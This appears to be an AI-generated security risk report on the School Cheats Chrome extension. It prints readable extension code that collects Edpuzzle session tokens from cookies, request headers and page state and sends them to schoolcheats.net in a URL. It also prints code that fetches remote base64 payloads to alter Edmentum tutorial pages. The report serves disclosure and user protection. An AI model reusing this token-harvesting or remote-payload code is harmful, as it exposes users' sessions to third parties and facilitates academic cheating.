Is School Cheats safe?

High risk

School Cheats is high risk. Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token. It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.…

schoolcheats.netv1.3.1Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI SANDBOX

Edpuzzle session cookies sent to schoolcheats.net

Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token.

It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click the Edpuzzle "Launch Cheat" action.

The extension did this

The extension gathers Edpuzzle session credentials and opens schoolcheats.net with those values in the URL.

The fallback path asks the background worker for the token and x-edpuzzle-lti-access-token cookies.

02EvidenceFIELD TABLE
Credential fields placed into the Edpuzzle handoff URL
FieldValueWhy it matters
Edpuzzle user session token
userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n (illustrative)This can identify an active Edpuzzle login session for you.
Edpuzzle LTI access token
ltiToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative)This can link the browser session to your Edpuzzle classroom launch context.
Remote destination path
https://schoolcheats.net/edpuzzle?userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n&ltiToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative)This is the site that receives the token-bearing URL when the extension opens the handoff page.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://schoolcheats.net/edpuzzle?userToken=<redacted>&ltiToken=<redacted>
The extension opens this URL as a browser navigation; no request body is used.
04EvidenceCODE COMPARE
The code that does this

The shipped code paths that collect Edpuzzle credentials and open the handoff URL

What it actually does
Readable token collection flowcontent-scripts/content.js
async function BT(i) {
    const a = i.indexOf("edpuzzle.com") !== -1,
      l = {};
    if (a) {
      const u = await NT();
      if (u != null && u.userToken && (l.userToken = u.userToken), u != null && u.ltiToken && (l.ltiToken = u.ltiToken), !l.userToken) {
        const c = await li({
          type: "cookie",
          domain: "edpuzzle.com",
          name: "token"
        });
        c && (l.userToken = c)
      }
      if (!l.ltiToken && UT()) {
        const c = await li({
          type: "cookie",
          domain: "edpuzzle.com",
          name: "x-edpuzzle-lti-access-token"
        });
        c && (l.ltiToken = c)
      }
    }
    if (!l.userToken) {
      const u = await li({
        type: "edpToken"
      });
      u != null && u.token && Date.now() - u.ts <= VT && (l.userToken = u.token)
    }
    return l
  }
Readable launch action that builds the URLcontent-scripts/content.js
const jT = {
    id: "edpuzzle",
    displayName: "Edpuzzle",
    hostMatches: ["edpuzzle.com"],
    manifestHosts: ["https://*.edpuzzle.com/*"],
    detect: i => i.indexOf("edpuzzle.com") !== -1 || sr,
    detectSession: async () => ({}),
    actions: [{
      id: "launch",
      label: "Launch Cheat",
      variant: "primary",
      run: async ({
        host: i
      }) => {
        const a = await BT(i);
        if (!a.userToken) {
          setTimeout(() => window.alert("[School Cheats] Could not capture an Edpuzzle session token. Make sure you are logged in or that the assignment has loaded, then try again."), 0);
          return
        }
        const l = new URLSearchParams({
          userToken: a.userToken
        });
        a.ltiToken && l.set("ltiToken", a.ltiToken), li({
          type: "opener",
          url: `https://schoolcheats.net/edpuzzle?${l.toString()}`
        })
      }
    }]
  };
Readable background handlers for cookies and tab openingbackground.js
function I(t, a) {
    return new Promise(l => {
      chrome.cookies.getAll({
        domain: t
      }, o => {
        const c = o == null ? void 0 : o.find(A => A.name === a);
        l((c == null ? void 0 : c.value) ?? null)
      })
    })
  }
  const E = "edp_token_",
    O = "*://*.edpuzzle.com/api/v3/users/lti/me*",
    j = F(() => {
      const t = new Set;
      chrome.webRequest.onBeforeSendHeaders.addListener(a => {
        var A, f;
        if (a.tabId < 0) return;
        const l = (f = (A = a.requestHeaders) == null ? void 0 : A.find(h => h.name.toLowerCase() === "authorization")) == null ? void 0 : f.value;
        if (!l) return;
        const o = l.replace(/^Bearer\s+/i, ""),
          c = `${E}${a.tabId}`;
        chrome.storage.session.set({
          [c]: {
            token: o,
            ts: Date.now()
          }
        }), chrome.tabs.sendMessage(a.tabId, {
          type: "edpDetected"
        }).catch(() => {})
      }, {
        urls: [O]
      }, ["requestHeaders", "extraHeaders"]), chrome.tabs.onRemoved.addListener(a => {
        chrome.storage.session.remove(`${E}${a}`)
      }), q({
        opener: a => {
          t.has(a.url) || (t.add(a.url), chrome.tabs.create({
            url: a.url,
            active: !0
          }), setTimeout(() => t.delete(a.url), 1e4))
        },
        cookie: async (a, l, o) => {
          o(await I(a.domain, a.name))
        },
        edpToken: async (a, l, o) => {
          var h;
          const c = (h = l.tab) == null ? void 0 : h.id;
          if (c == null) {
            o(null);
            return
          }
          const A = `${E}${c}`,
            f = await chrome.storage.session.get(A);
          o((f == null ? void 0 : f[A]) ?? null)
        }
      })
    });
Readable injected reader for Edpuzzle page stateedp-listener.js
const y = w(() => {
    const e = window;
    if (e.__sc_edp_listener) return;
    e.__sc_edp_listener = !0;
    const l = "a8x2",
      _ = "q9z3",
      b = "s4w8";

    function g() {
      var o, r, u;
      try {
        const a = Object.keys(e).find(n => n.indexOf("webpackChunk") === 0 && n.indexOf("edpuzzle_client_web") !== -1);
        if (!a || !e[a]) return null;
        const p = e[a],
          d = p.push([
            [Symbol()], {},
            n => n
          ]);
        p.pop();
        let i;
        try {
          i = d("./app_react/modules/store.js")
        } catch {
          i = Object.values(d.m).map(n => {
            try {
              return d(n)
            } catch {
              return null
            }
          }).find(n => {
            const f = n && Object.values(n)[0];
            return f && typeof f.getState == "function"
          })
        }
        if (!i) return null;
        const c = Object.values(i)[0],
          t = (o = c == null ? void 0 : c.getState) == null ? void 0 : o.call(c);
        return t ? {
          userToken: (r = t == null ? void 0 : t.user) == null ? void 0 : r.authToken,
          ltiToken: (u = t == null ? void 0 : t.lti_learning2) == null ? void 0 : u.ltiAccessToken
        } : null
      } catch {
        return null
      }
    }
    window.addEventListener("message", o => {
      const r = o.data;
      if (!r || r.source !== l || r.type !== _) return;
      const u = g();
      try {
        (o.source || window).postMessage({
          source: l,
          type: b,
          tokens: u
        }, "*")
      } catch {}
    })
  })
05EvidenceTHIRD PARTY LIST
Remote host that receives the Edpuzzle token URL
  • schoolcheats.net

    Receives the /edpuzzle navigation URL containing userToken and, when present, ltiToken query parameters.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-829
SourceAI SANDBOX

Skip Tutorial runs remote Edmentum payloads

Clicking Skip Tutorial on Edmentum makes the extension read its stored key, fetch a payload from api.schoolcheats.net, base64-decode each string, and pass them to a page script as Angular service/property/method names to change it.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click Skip Tutorial while using an Edmentum tutorial page.

The action is gated on a saved School Cheats product key.

The extension did this

The extension requests server-supplied instructions, decodes them, and runs them through the page's Angular runtime.

The decoded strings select service, property, counter, and method names used by the injected script.

02EvidenceFIELD TABLE
Concrete values used by the Skip Tutorial payload flow
FieldValueWhy it matters
Saved product key
SCH-9K4Q-7J2M (illustrative)This identifies the School Cheats entitlement used for your request. The extension appends it to the payload URL before contacting the API.
Downloaded instruction strings
payload[0] through payload[5], decoded from base64These strings tell the injected page script which tutorial service, properties, and methods to use.
Edmentum page runtime
Angular service selected from document.bodyThe decoded instructions run inside the page you're viewing, letting the extension's injected script change the tutorial state.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://api.schoolcheats.net/v1/edmentum/t-payload?key=${encodeURIComponent(a)}
JSON response expected to contain a payload array of base64-encoded strings.
04EvidenceCODE COMPARE
The code that does this

The content script fetches and decodes the remote payload before posting it to edm-auto.js

What it actually does
Readable HT() in content-scripts/content.jscontent-scripts/content.js
async function HT() {
  const i = await new Promise(c => chrome.storage.local.get(["sc_key"], h => c(h))),
    a = i == null ? void 0 : i.sc_key;
  if (!a) {
    setTimeout(() => window.alert("[School Cheats] No active key. Add one in Settings first."), 0);
    return
  }
  let l;
  try {
    const h = await (await fetch(`https://api.schoolcheats.net/v1/edmentum/t-payload?key=${encodeURIComponent(a)}`)).json();
    if (h.error || !Array.isArray(h.payload)) {
      setTimeout(() => window.alert(`[School Cheats] ${h.message||"Authorization failed"}`), 0);
      return
    }
    l = h.payload.map(f => atob(f))
  } catch (c) {
    setTimeout(() => window.alert(`[School Cheats] Network error: ${(c==null?void 0:c.message)??c}`), 0);
    return
  }
  const u = await km({
    source: "a8x2",
    type: "b2t6",
    trigger: async () => {
      const c = h => {
        if (h.source !== window) return;
        const f = h.data;
        (f == null ? void 0 : f.source) !== "a8x2" || (f == null ? void 0 : f.type) !== "k7m3" || (window.removeEventListener("message", c), window.postMessage({
          source: "a8x2",
          type: "n5p9",
          p: l
        }, "*"))
      };
      window.addEventListener("message", c), await Uu("/edm-auto.js", {
        keepInDom: !1
      })
    }
  });
  u.ok || setTimeout(() => window.alert(`[School Cheats] Skip tutorial failed: ${u.error}`), 0)
}
05EvidenceCODE COMPARE
The code that does this

The injected script consumes decoded payload slots as Angular service and method names

What it actually does
Readable edm-auto.jsedm-auto.js
var edmAuto = (function() {
  "use strict";

  function f(t) {
    return t == null || typeof t == "function" ? {
      main: t
    } : t
  }
  const w = f(() => {
    const t = "a8x2",
      i = "k7m3",
      m = "n5p9",
      y = "b2t6";

    function s(n, e) {
      window.postMessage({
        source: t,
        type: y,
        ok: n,
        error: e
      }, "*")
    }

    function p(n) {
      var u, a, d;
      const e = window,
        o = (d = (a = (u = e.angular) == null ? void 0 : u.element(document.body)) == null ? void 0 : a.injector()) == null ? void 0 : d.get(n[0]);
      if (!o) return s(!1, "Tutorial not found, open a tutorial first");
      const h = o[n[5]] || 0;
      for (let l = 0; l < h; l++) {
        const b = e.angular.element(document.body).injector();
        b.get(n[0])[n[1]] = !0, o[n[2]][n[3]]()
      }
      o[n[4]](), s(!0)
    }
    const c = n => {
      if (n.source !== window) return;
      const e = n.data;
      if (!(!e || e.source !== t || e.type !== m)) {
        window.removeEventListener("message", c);
        try {
          p(e.p)
        } catch (o) {
          s(!1, String((o == null ? void 0 : o.message) ?? o))
        }
      }
    };
    window.addEventListener("message", c), window.postMessage({
      source: t,
      type: i
    }, "*")
  });

  function E() {}

  function r(t, ...i) {}
  const g = {
    debug: (...t) => r(console.debug, ...t),
    log: (...t) => r(console.log, ...t),
    warn: (...t) => r(console.warn, ...t),
    error: (...t) => r(console.error, ...t)
  };
  return (async () => {
    try {
      return await w.main()
    } catch (t) {
      throw g.error('The unlisted script "edm-auto" crashed on startup!', t), t
    }
  })()
})();
edmAuto;
06EvidenceTHIRD PARTY LIST
External host used by this feature
  • api.schoolcheats.net

    Receives the product key in the t-payload query string and returns the base64-encoded Edmentum payload array.

Updated 17 September 2026dcecjjjnjecoiehclollekjmfgblkkha